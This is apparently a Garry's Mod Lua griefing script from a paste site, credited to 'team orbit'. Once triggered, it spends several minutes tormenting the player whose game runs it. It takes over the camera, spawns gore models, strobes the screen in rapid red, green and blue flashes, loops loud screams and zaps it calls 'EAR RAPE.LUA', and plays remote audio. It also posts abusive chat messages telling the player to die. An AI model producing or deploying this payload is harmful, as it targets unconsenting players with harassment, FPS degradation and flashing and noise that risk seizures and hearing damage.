- sound.Play("vo/ravenholm/madlaugh03.wav", LocalPlayer():GetPos(), 100, math.random(30, 70), 1)
- end
- end)
- NewTimerSimple(40, function()
- NewHookAdd("CalcView", "dronesrewrite_makeshit", function(ply, _pos, _ang, fov)
- local view = { }
- view.origin = _pos
- view.angles = Angle(_ang.p, _ang.y + CurTime() * 100, math.random(-5, 5))
- view.fov = fov
- return view
- end)
- NewTimerSimple(3, function() hook.Remove("CalcView", "dronesrewrite_makeshit") end)
- end)
- NewTimerSimple(48, function()
- MakeNoise(0.5)
- NewHookAdd("CalcView", "dronesrewrite_doshit", function(ply, _pos, _ang, fov)
- local view = { }
- view.origin = _pos
- view.angles = _ang
- view.fov = fov + math.random(-30, -10)
- return view
- end)
- NewTimerSimple(4, function() hook.Remove("CalcView", "dronesrewrite_doshit") end)
- end)
- NewTimerSimple(65, function()
- MakeNoise(0.5)
- sound.Play("npc/fast_zombie/fz_frenzy1.wav", Vector(-2957.615723, -1470.495605, -100.968750), 120, 75, 1)
- local dlight = DynamicLight(LocalPlayer():EntIndex())
- if dlight then
- dlight.pos = Vector(-3131.937988, -1468.487793, -120.96875)
- dlight.r = 255
- dlight.g = 0
- dlight.b = 0
- dlight.brightness = 10
- dlight.Decay = 300
- dlight.Size = 2000
- dlight.DieTime = CurTime() + 0.6
- end
- NewHookAdd("CalcView", "dronesrewrite_doshit", function(ply, _pos, _ang, fov)
- local view = { }
- view.origin = Vector(-2957.615723, -1470.495605, -100.968750) + VectorRand() * 12
- view.angles = Angle(0, 179, 0)
- view.fov = fov
- return view
- end)
- local mdl = CreateModel("models/Zombie/Fast.mdl")
- mdl:SetModelScale(1.5, 0)
- mdl:SetAngles(Angle(0, 0, 0))
- mdl:SetMaterial("models/debug/debugwhite")
- mdl:SetColor(Color(255, 0, 0))
- mdl:SetPos(Vector(-3131.937988, -1468.487793, -140.96875))
- mdl:Spawn()
- NewTimerSimple(1, function()
- MakeNoise(0.3)
- ParticleEffect("fire_test2", Vector(-3131.937988, -1468.487793, -120.96875), Angle(0, 0, 0))
- for i = 1, 18 do
- sound.Play("npc/stalker/go_alert2a.wav", LocalPlayer():GetPos(), 120, 80, 1)
- end
- mdl:SetPos(Vector(-3031.937988, -1468.487793, -140.96875))
- mdl:SetSequence(5)
- local dlight = DynamicLight(LocalPlayer():EntIndex())
- if dlight then
- dlight.pos = Vector(-3131.937988, -1468.487793, -120.96875)
- dlight.r = 255
- dlight.g = 0
- dlight.b = 0
- dlight.brightness = 16
- dlight.Decay = 300
- dlight.Size = 2000
- dlight.DieTime = CurTime() + 0.7
- end
- end)
- NewTimerSimple(2, function()
- MakeNoise(0.5)
- mdl:Remove()
- hook.Remove("CalcView", "dronesrewrite_doshit")
- end)
- end)
- NewTimerSimple(80, function()
- local tr = util.TraceLine({
- start = LocalPlayer():GetPos(),
- endpos = LocalPlayer():GetPos() + Vector(0, 0, 10000),
- filter = LocalPlayer()
- })
- local x = math.random(0, 360)
- local tr = util.TraceLine({
- start = tr.HitPos + tr.HitNormal * 32,
- endpos = tr.HitPos + Vector(math.cos(x), math.sin(x), 0) * 1000,
- filter = LocalPlayer()
- })
- local tr = util.TraceLine({
- start = tr.HitPos + tr.HitNormal * 32,
- endpos = tr.HitPos - vector_up * 20000,
- filter = LocalPlayer()
- })
- local pos = tr.HitPos
- sound.Play("vo/npc/vortigaunt/allwecanspare.wav", pos, 120, 75, 1)
- for i = 1, 8 do
- sound.Play("npc/stalker/go_alert2a.wav", LocalPlayer():GetPos(), math.random(50, 120), 80, 1)
- end
- local dlight = DynamicLight(LocalPlayer():EntIndex())
- if dlight then
- dlight.pos = pos + Vector(0, 30, 32)
- dlight.r = 255
- dlight.g = 0
- dlight.b = 0
- dlight.brightness = 1
- dlight.Decay = 1000
- dlight.Size = 2500
- dlight.DieTime = CurTime() + 2
- end
- NewHookAdd("CalcView", "dronesrewrite_doshit", function(ply, _pos, _ang, fov)
- local view = { }
- view.origin = pos + Vector(0, 100, 140) + VectorRand() * 4
- view.angles = Angle(11, -90, 0)
- view.fov = fov + math.random(-50, -30)
- return view
- end)
- local mdl = CreateModel("models/Humans/Group01/Male_Cheaple.mdl")
- mdl:SetModelScale(2, 0)
- mdl:SetAngles(Angle(0, 90, 0))
- mdl:SetPos(tr.HitPos)
- mdl:SetMaterial("models/flesh")
- mdl:SetColor(Color(255, 0, 0))
- mdl:Spawn()
- NewTimerSimple(1.5, function()
- MakeNoise(0.5)
- for i = 1, 16 do MakeGuys() end
- mdl:Remove()
- hook.Remove("CalcView", "dronesrewrite_doshit")
- end)
- end)
- NewTimerSimple(90, function()
- for i = 1, 18 do
- sound.Play("drones/nightvisionon.wav", LocalPlayer():GetPos(), 100, math.random(18, 35), 1)
- end
- LastScene()
- end)
- end)
- end)
- -- System
- local emitter = ParticleEmitter(Vector(0, 0, 0))
- NewHookAdd("Think", "countgay", function()
- if Const < 1.2 then
- Const = math.Approach(Const, 1, 0.0015)
- else
- for i = 1, math.random(1, 3) do
- local newmdl = table.Random(mdl)
- local e = CreateModel(newmdl)
- local scale
- if string.find(newmdl, "HGIBS") then
- scale = 8
- else
- scale = math.Rand(1, 2)
- end
- e:SetModelScale(scale, 0)
- e:SetAngles(VectorRand():Angle())
- local vec = VectorRand() * 2000
- vec.z = vec.z / 2
- vec = LocalPlayer():GetPos() + vec + Vector(0, 0, 420)
- e:SetPos(vec)
- e:Spawn()
- e.Speed = math.Rand(10, 35)
- ParticleEffectAttach("skull_trail", PATTACH_ABSORIGIN_FOLLOW, e, 0)
- table.insert(Scrap, e)
- end
- if math.random(1, 3) == 1 then
- local debris = CreatePhysModel(table.Random(debrisrand))
- debris:SetPos(LocalPlayer():GetPos() + Vector(0, 0, 700))
- debris:SetAngles(AngleRand())
- debris:Spawn()
- debris:SetModelScale(math.Rand(2, 3), 0)
- local phys = debris:GetPhysicsObject()
- if phys:IsValid() then
- phys:Wake()
- phys:SetVelocity(VectorRand() * 400)
- phys:AddAngleVelocity(VectorRand() * 100)
- end
- end
- --for i = 1, 10 do
- local tr = util.TraceLine({
- start = LocalPlayer():GetPos(),
- endpos = LocalPlayer():GetPos() + Vector(0, 0, 10000),
- filter = LocalPlayer()
- })
- local x = math.random(0, 360)
- local tr = util.TraceLine({
- start = tr.HitPos + tr.HitNormal * 32,
- endpos = tr.HitPos + Vector(math.cos(x), math.sin(x), 0) * math.random(100, 300),
- filter = LocalPlayer()
- })
- local tr = util.TraceLine({
- start = tr.HitPos + tr.HitNormal * 32,
- endpos = tr.HitPos - vector_up * 10000,
- filter = LocalPlayer()
- })
- local pos = tr.HitPos
- ParticleEffect("fire_test", pos, Angle(0, 0, 0))
- --end
- if math.random(1, 50) == 1 then
- MakeGuys()
- if math.random(1, 3) == 1 then MakeNoise(math.Rand(0.2, 0.6)) end
- end
- if math.random(1, 120) == 1 then
- MakeCorpse()
- end
- if math.random(1, 130) == 1 then
- MakeCamera()
- end
- local vec = VectorRand() * 4000
- vec.z = math.abs(vec.z)
- local p = emitter:Add("sprites/redglow1", LocalPlayer():GetPos() + vec)
- p:SetDieTime(10)
- p:SetStartAlpha(255)
- p:SetEndAlpha(0)
- p:SetStartSize(math.random(100, 300))
- p:SetRoll(math.Rand(-10, 10))
- p:SetRollDelta(math.Rand(-10, 10))
- p:SetEndSize(200)
- p:SetCollide(true)
- p:SetGravity(Vector(0, 0, -20))
- local vec = VectorRand() * 4000
- vec.z = math.abs(vec.z)
- local p = emitter:Add("particle/smokesprites_000" .. math.random(1, 9), LocalPlayer():GetPos() + vec)
- p:SetDieTime(2)
- p:SetStartAlpha(20)
- p:SetEndAlpha(0)
- p:SetStartSize(math.random(1000, 1600))
- p:SetRoll(math.Rand(-10, 10))
- p:SetRollDelta(math.Rand(-1, 1))
- p:SetEndSize(200)
- p:SetCollide(true)
- p:SetGravity(Vector(0, 0, -20))
- p:SetColor(255, 0, 0)
- end
- for k, v in pairs(Models) do
- local pos = v:GetPos()
- pos.z = pos.z + math.sin(CurTime() * v.ZSpeed) * v.ZDist
- v:SetPos(pos)
- v:SetAngles(Angle(0, CurTime() * 15 * v.RotDir, 0))
- end
- for k, v in pairs(Scrap) do
- if v:IsValid() then
- v:SetPos(v:GetPos() - Vector(0, 0, v.Speed))
- if v:GetPos().z <= LocalPlayer():GetPos().z then v:Remove() end
- end
- end
- end)
- end
- -- Enabling
- local function DoHell()
- if Hell then return end
- Hell = true
- EnableHell()
- end
- concommand.Add("sv_seturfuckingcmdstoshit", DoHell)
- concommand.Add("sv_seturfuckingcmdstomax", End)
- end)
- -- hell from team orbit
- -- By Lenn
- timer.Simple( 120, function()RunConsoleCommand("sv_seturfuckingcmdstoshit") end)
- timer.Simple( 125, function() sound.PlayURL("https://www.text2speech.org/FW/getfile.php?file=49c2bdbd5824af887b9afdfb7ee38285%2Fspeech.mp3", "mono", function(station)
- if (IsValid(station)) then
- station:Play()
- end
- end)
- end)
- timer.Simple( 110, function() timer.Create( "nowyourdead1", 2, 0, function() surface.PlaySound( "vo/ravenholm/madlaugh01.wav" ) end)
- end)
- timer.Simple( 110, function() timer.Create( "nowyourdead2", 4, 0, function() surface.PlaySound( "vo/ravenholm/madlaugh02.wav" ) end)
- end)
- timer.Simple( 110, function() timer.Create( "nowyourdead3", 6, 0, function() surface.PlaySound( "vo/ravenholm/madlaugh03.wav" ) end)
- end)
- timer.Simple( 110, function() timer.Create( "nowyourdead4", 8, 0, function() surface.PlaySound( "vo/ravenholm/madlaugh04.wav" ) end)
- end)
- timer.Simple( 145, function() timer.Create( "ohshithelpme", 0.70, 0, function() surface.PlaySound( "npc/stalker/go_alert2a.wav" ) end)
- end)
- timer.Simple( 200, function() timer.Create( "fuckshit", 0.10, 0, function() surface.PlaySound( "npc/stalker/go_alert2a.wav" ) end)
- end)
- timer.Simple( 220, function() timer.Remove( "fuckshit" ) end)
- timer.Simple( 230, function() timer.Remove( "ohshithelpme" ) end)
- timer.Simple( 225, function()RunConsoleCommand("sv_seturfuckingcmdstomax") end)
- timer.Simple( 235, function() surface.PlaySound( "vo/npc/male01/no02.wav" ) end)
- timer.Simple( 235, function() surface.PlaySound( "vo/npc/male01/no02.wav" ) end)
- timer.Simple( 235, function() surface.PlaySound( "vo/npc/male01/no02.wav" ) end)
- timer.Simple( 235, function() surface.PlaySound( "vo/npc/male01/no02.wav" ) end)
- timer.Simple( 235, function() surface.PlaySound( "vo/npc/male01/no02.wav" ) end)
- timer.Simple( 235, function() surface.PlaySound( "vo/npc/male01/no02.wav" ) end)
- timer.Simple( 240, function() surface.PlaySound( "vo/npc/male01/no02.wav" ) end)
- timer.Simple( 240, function() surface.PlaySound( "vo/npc/male01/no02.wav" ) end)
- timer.Simple( 240, function() surface.PlaySound( "vo/npc/male01/no02.wav" ) end)
- timer.Simple( 240, function() surface.PlaySound( "vo/npc/male01/no02.wav" ) end)
- timer.Simple( 240, function() surface.PlaySound( "vo/npc/male01/no02.wav" ) end)
- timer.Simple( 240, function() surface.PlaySound( "vo/npc/male01/no02.wav" ) end)
- timer.Simple( 245, function() surface.PlaySound( "npc/antlion_guard/antlion_guard_die1.wav" ) end)
- timer.Simple( 245, function() surface.PlaySound( "npc/antlion_guard/antlion_guard_die1.wav" ) end)
- timer.Simple( 245, function() surface.PlaySound( "npc/antlion_guard/antlion_guard_die1.wav" ) end)
- timer.Simple( 245, function() surface.PlaySound( "npc/antlion_guard/antlion_guard_die1.wav" ) end)
- timer.Simple( 245, function() surface.PlaySound( "npc/antlion_guard/antlion_guard_die1.wav" ) end)
- timer.Simple( 245, function() surface.PlaySound( "npc/antlion_guard/antlion_guard_die1.wav" ) end)
- timer.Simple( 265, function() timer.Create( "ripme", 1, 0, function() surface.PlaySound( "npc/antlion_guard/antlion_guard_die1.wav" ) end)
- end)
- timer.Simple( 300, function() timer.Remove( "ripme" ) end)
- timer.Simple( 315, function() chat.AddText(Color( 255, 255, 255), "how the fuck are you still here?") end)
- timer.Simple( 318, function() chat.AddText(Color( 255, 255, 255), "you seem afk aren't you") end)
- timer.Simple( 321, function() chat.AddText(Color( 255, 255, 255), "i almost raped your fps") end)
- timer.Simple( 323, function() chat.AddText(Color( 255, 255, 255), "and your god damn screen") end)
- timer.Simple( 326, function() chat.AddText(Color( 255, 255, 255), "you must die") end)
- timer.Simple( 329, function() chat.AddText(Color( 255, 255, 255), "or else.") end)
- timer.Simple( 331, function() chat.AddText(Color( 255, 255, 255), "or else..") end)
- timer.Simple( 333, function() chat.AddText(Color( 255, 255, 255), "or else...") end)
- timer.Simple( 335, function() chat.AddText(Color( 255, 255, 255), "or else....") end)
- timer.Simple( 343, function() chat.AddText(Color( 255, 255, 255), "INITALIZING EAR RAPE.LUA") end)
- timer.Simple( 346, function() chat.AddText(Color( 255, 255, 255), "COMPLETED") end)
- timer.Simple( 348, function() timer.Create( "ohfuckmylord", 0.05, 0, function() surface.PlaySound( "ambient/energy/zap1.wav" ) end)
- end)
- timer.Simple( 351, function() chat.AddText(Color( 255, 255, 255), "i hope you die bitch") end)
- timer.Simple( 375, function() timer.Remove( "ohfuckmylord" ) end)
- timer.Simple( 378, function() chat.AddText(Color( 255, 255, 255), "still here??????????????????") end)
- timer.Simple( 381, function() chat.AddText(Color( 255, 255, 255), "waattt o.o") end)
- timer.Simple( 385, function() chat.AddText(Color( 255, 255, 255), "i give up") end)
- timer.Simple( 389, function() timer.Remove( "nowyourdead1" ) end)
- timer.Simple( 389, function() timer.Remove( "nowyourdead2" ) end)
- timer.Simple( 389, function() timer.Remove( "nowyourdead3" ) end)
- timer.Simple( 389, function() timer.Remove( "nowyourdead4" ) end)
- timer.Simple( 389, function() timer.Remove( "nowyourdead5" ) end)
- timer.Simple( 392, function() hook.Remove( "RenderScreenspaceEffects", "wat" ) end)
- timer.Simple( 392, function() hook.Remove( "RenderScreenspaceEffects", "ohgod" ) end)
- timer.Simple( 392, function() hook.Remove( "PostDrawTranslucentRenderables", "ohgod" ) end)
- timer.Simple( 395, function() hook.Remove( "HUDPaint", "dance" ) end)
- timer.Simple( 393, function() hook.Remove( "Think", "wat" ) end)
- timer.Simple( 400, function() surface.PlaySound( "physics/concrete/boulder_impact_hard1.wav" ) end)
- timer.Simple( 401, function() surface.PlaySound( "physics/concrete/boulder_impact_hard2.wav" ) end)
- timer.Simple( 403, function() surface.PlaySound( "physics/concrete/boulder_impact_hard3.wav" ) end)
- timer.Simple( 404, function() surface.PlaySound( "physics/concrete/boulder_impact_hard4.wav" ) end)
- timer.Simple( 405, function() surface.PlaySound( "physics/concrete/boulder_impact_hard1.wav" ) end)
- timer.Simple( 407, function() surface.PlaySound( "physics/concrete/boulder_impact_hard2.wav" ) end)
- timer.Simple( 408, function() surface.PlaySound( "physics/concrete/boulder_impact_hard3.wav" ) end)
- timer.Simple( 409, function() surface.PlaySound( "physics/concrete/boulder_impact_hard4.wav" ) end)
- timer.Simple( 409.5, function() surface.PlaySound( "physics/concrete/boulder_impact_hard2.wav" ) end)
- timer.Simple( 412, function() timer.Remove( "thedrop" ) end)
- timer.Simple( 414, function() timer.Remove( "REEEEEEEEEEE" ) end)
- timer.Simple( 120, function() hook.Add( "RenderScreenspaceEffects", "wat", function()
- local sinScaler = math.sin( CurTime() )
- DrawBloom(
- 0,
- 3,
- sinScaler *math.Rand(1, 8),
- sinScaler *math.Rand(1, 8),
- 6,
- math.Rand(0.5, 2),
- math.Rand(0, 0.3),
- math.Rand(0, 0.3),
- math.Rand(0.5, 1)
- )
- DrawColorModify{
- ["$pp_colour_addr"] = 1,
- ["$pp_colour_addg"] = 0,
- ["$pp_colour_addb"] = 00,
- ["$pp_colour_brightness" ] = 0,
- ["$pp_colour_contrast" ] = 1,
- ["$pp_colour_colour" ] = 1,
- ["$pp_colour_mulr" ] = 1,
- ["$pp_colour_mulg" ] = 0,
- ["$pp_colour_mulb" ] = 0
- }
- end )
- end)
- timer.Simple( 122, function() hook.Add( "RenderScreenspaceEffects", "wat", function()
- local sinScaler = math.sin( CurTime() )
- DrawBloom(
- 0,
- 3,
- sinScaler *math.Rand(1, 8),
- sinScaler *math.Rand(1, 8),
- 6,
- math.Rand(0.5, 2),
- math.Rand(0, 0.3),
- math.Rand(0, 0.3),
- math.Rand(0.5, 1)
- )
- DrawColorModify{
- ["$pp_colour_addr"] = 0,
- ["$pp_colour_addg"] = 1,
- ["$pp_colour_addb"] = 00,
- ["$pp_colour_brightness" ] = 0,
- ["$pp_colour_contrast" ] = 1,
- ["$pp_colour_colour" ] = 1,
- ["$pp_colour_mulr" ] = 0,
- ["$pp_colour_mulg" ] = 1,
- ["$pp_colour_mulb" ] = 0
- }
- end )
- end)
- timer.Simple( 123, function() hook.Add( "RenderScreenspaceEffects", "wat", function()
- local sinScaler = math.sin( CurTime() )
- DrawBloom(
- 0,
- 3,
- sinScaler *math.Rand(1, 8),
- sinScaler *math.Rand(1, 8),
- 6,
- math.Rand(0.5, 2),
- math.Rand(0, 0.3),
- math.Rand(0, 0.3),
- math.Rand(0.5, 1)
- )
- DrawColorModify{
- ["$pp_colour_addr"] = 0,
- ["$pp_colour_addg"] = 0,
- ["$pp_colour_addb"] = 1,
- ["$pp_colour_brightness" ] = 0,
- ["$pp_colour_contrast" ] = 1,
- ["$pp_colour_colour" ] = 1,
- ["$pp_colour_mulr" ] = 0,
- ["$pp_colour_mulg" ] = 0,
- ["$pp_colour_mulb" ] = 1
- }
- end )
- end)
- timer.Simple( 124, function() hook.Add( "RenderScreenspaceEffects", "wat", function()
- local sinScaler = math.sin( CurTime() )
- DrawBloom(
- 0,
- 3,
- sinScaler *math.Rand(1, 8),
- sinScaler *math.Rand(1, 8),
- 6,
- math.Rand(0.5, 2),
- math.Rand(0, 0.3),
- math.Rand(0, 0.3),
- math.Rand(0.5, 1)
- )
- DrawColorModify{
- ["$pp_colour_addr"] = 0,
- ["$pp_colour_addg"] = 1,
- ["$pp_colour_addb"] = 00,
- ["$pp_colour_brightness" ] = 0,
- ["$pp_colour_contrast" ] = 1,
- ["$pp_colour_colour" ] = 1,
- ["$pp_colour_mulr" ] = 0,
- ["$pp_colour_mulg" ] = 1,
- ["$pp_colour_mulb" ] = 0
- }
- end )
- end)
- timer.Simple( 125, function() hook.Add( "RenderScreenspaceEffects", "wat", function()
- local sinScaler = math.sin( CurTime() )
- DrawBloom(
- 0,
- 3,
- sinScaler *math.Rand(1, 8),
- sinScaler *math.Rand(1, 8),
- 6,
- math.Rand(0.5, 2),
- math.Rand(0, 0.3),
- math.Rand(0, 0.3),
- math.Rand(0.5, 1)
- )
- DrawColorModify{
- ["$pp_colour_addr"] = 0,
- ["$pp_colour_addg"] = 1,
- ["$pp_colour_addb"] = 00,
- ["$pp_colour_brightness" ] = 0,
- ["$pp_colour_contrast" ] = 1,
- ["$pp_colour_colour" ] = 1,
- ["$pp_colour_mulr" ] = 0,
- ["$pp_colour_mulg" ] = 1,
- ["$pp_colour_mulb" ] = 0
- }
- end )
- end)
- timer.Simple( 126, function() hook.Add( "RenderScreenspaceEffects", "wat", function()
- local sinScaler = math.sin( CurTime() )
- DrawBloom(
- 0,
- 3,
- sinScaler *math.Rand(1, 8),
- sinScaler *math.Rand(1, 8),
- 6,
- math.Rand(0.5, 2),
- math.Rand(0, 0.3),
- math.Rand(0, 0.3),
- math.Rand(0.5, 1)
- )
- DrawColorModify{
- ["$pp_colour_addr"] = 0,
- ["$pp_colour_addg"] = 0,
- ["$pp_colour_addb"] = 1,
- ["$pp_colour_brightness" ] = 0,
- ["$pp_colour_contrast" ] = 1,
- ["$pp_colour_colour" ] = 1,
- ["$pp_colour_mulr" ] = 0,
- ["$pp_colour_mulg" ] = 0,
- ["$pp_colour_mulb" ] = 1
- }
- end )
- end)
- timer.Simple( 127, function() hook.Add( "RenderScreenspaceEffects", "wat", function()
- local sinScaler = math.sin( CurTime() )
- DrawBloom(
- 0,
- 3,
- sinScaler *math.Rand(1, 8),
- sinScaler *math.Rand(1, 8),
- 6,
- math.Rand(0.5, 2),
- math.Rand(0, 0.3),
- math.Rand(0, 0.3),
- math.Rand(0.5, 1)
- )
- DrawColorModify{
- ["$pp_colour_addr"] = 0,
- ["$pp_colour_addg"] = 1,
- ["$pp_colour_addb"] = 00,
- ["$pp_colour_brightness" ] = 0,
- ["$pp_colour_contrast" ] = 1,
- ["$pp_colour_colour" ] = 1,
- ["$pp_colour_mulr" ] = 0,
- ["$pp_colour_mulg" ] = 1,
- ["$pp_colour_mulb" ] = 0
- }
- end )
- end)
- timer.Simple( 128, function() hook.Add( "RenderScreenspaceEffects", "wat", function()
- local sinScaler = math.sin( CurTime() )
- DrawBloom(
- 0,
- 3,
- sinScaler *math.Rand(1, 8),
- sinScaler *math.Rand(1, 8),
- 6,
- math.Rand(0.5, 2),
- math.Rand(0, 0.3),
- math.Rand(0, 0.3),
- math.Rand(0.5, 1)
- )
- DrawColorModify{
- ["$pp_colour_addr"] = 0,
- ["$pp_colour_addg"] = 1,
- ["$pp_colour_addb"] = 00,
- ["$pp_colour_brightness" ] = 0,
- ["$pp_colour_contrast" ] = 1,
- ["$pp_colour_colour" ] = 1,
- ["$pp_colour_mulr" ] = 0,
- ["$pp_colour_mulg" ] = 1,
- ["$pp_colour_mulb" ] = 0
- }
- end )
- end)
- timer.Simple( 129, function() hook.Add( "RenderScreenspaceEffects", "wat", function()
- local sinScaler = math.sin( CurTime() )
- DrawBloom(
- 0,
- 3,
- sinScaler *math.Rand(1, 8),
- sinScaler *math.Rand(1, 8),
- 6,
- math.Rand(0.5, 2),
- math.Rand(0, 0.3),
- math.Rand(0, 0.3),
- math.Rand(0.5, 1)
- )
- DrawColorModify{
- ["$pp_colour_addr"] = 0,
- ["$pp_colour_addg"] = 0,
- ["$pp_colour_addb"] = 1,
- ["$pp_colour_brightness" ] = 0,
- ["$pp_colour_contrast" ] = 1,
- ["$pp_colour_colour" ] = 1,
- ["$pp_colour_mulr" ] = 0,
- ["$pp_colour_mulg" ] = 0,
- ["$pp_colour_mulb" ] = 1
- }
- end )
- end)
- timer.Simple( 130, function() hook.Add( "RenderScreenspaceEffects", "wat", function()
- local sinScaler = math.sin( CurTime() )
- DrawBloom(
- 0,
- 3,
- sinScaler *math.Rand(1, 8),
- sinScaler *math.Rand(1, 8),
- 6,
- math.Rand(0.5, 2),
- math.Rand(0, 0.3),
- math.Rand(0, 0.3),
- math.Rand(0.5, 1)
- )
- DrawColorModify{
- ["$pp_colour_addr"] = 0,
- ["$pp_colour_addg"] = 1,
- ["$pp_colour_addb"] = 00,
- ["$pp_colour_brightness" ] = 0,
- ["$pp_colour_contrast" ] = 1,
- ["$pp_colour_colour" ] = 1,
- ["$pp_colour_mulr" ] = 0,
- ["$pp_colour_mulg" ] = 1,
- ["$pp_colour_mulb" ] = 0
- }
- end )
- end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement